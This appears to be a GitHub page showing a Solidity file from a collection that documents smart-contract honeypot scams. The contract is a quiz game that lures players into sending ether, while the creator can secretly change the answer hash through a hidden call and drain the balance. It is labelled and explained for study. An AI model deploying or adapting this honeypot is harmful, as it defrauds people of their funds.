-
Notifications
You must be signed in to change notification settings - Fork 29
/
02a_hidden_call.sol
53 lines (48 loc) · 1.27 KB
/
02a_hidden_call.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
* Title: Hidden Call
* Trick: responseHash has been set to other values via message call from the other contract, which is invisible on Etherscan
* Reference: https://etherscan.io/address/0x3CAF97B4D97276d75185aaF1DCf3A2A8755AFe27#codepragma
*/
contract G_GAME
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin); // cannot attack by a contract
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
}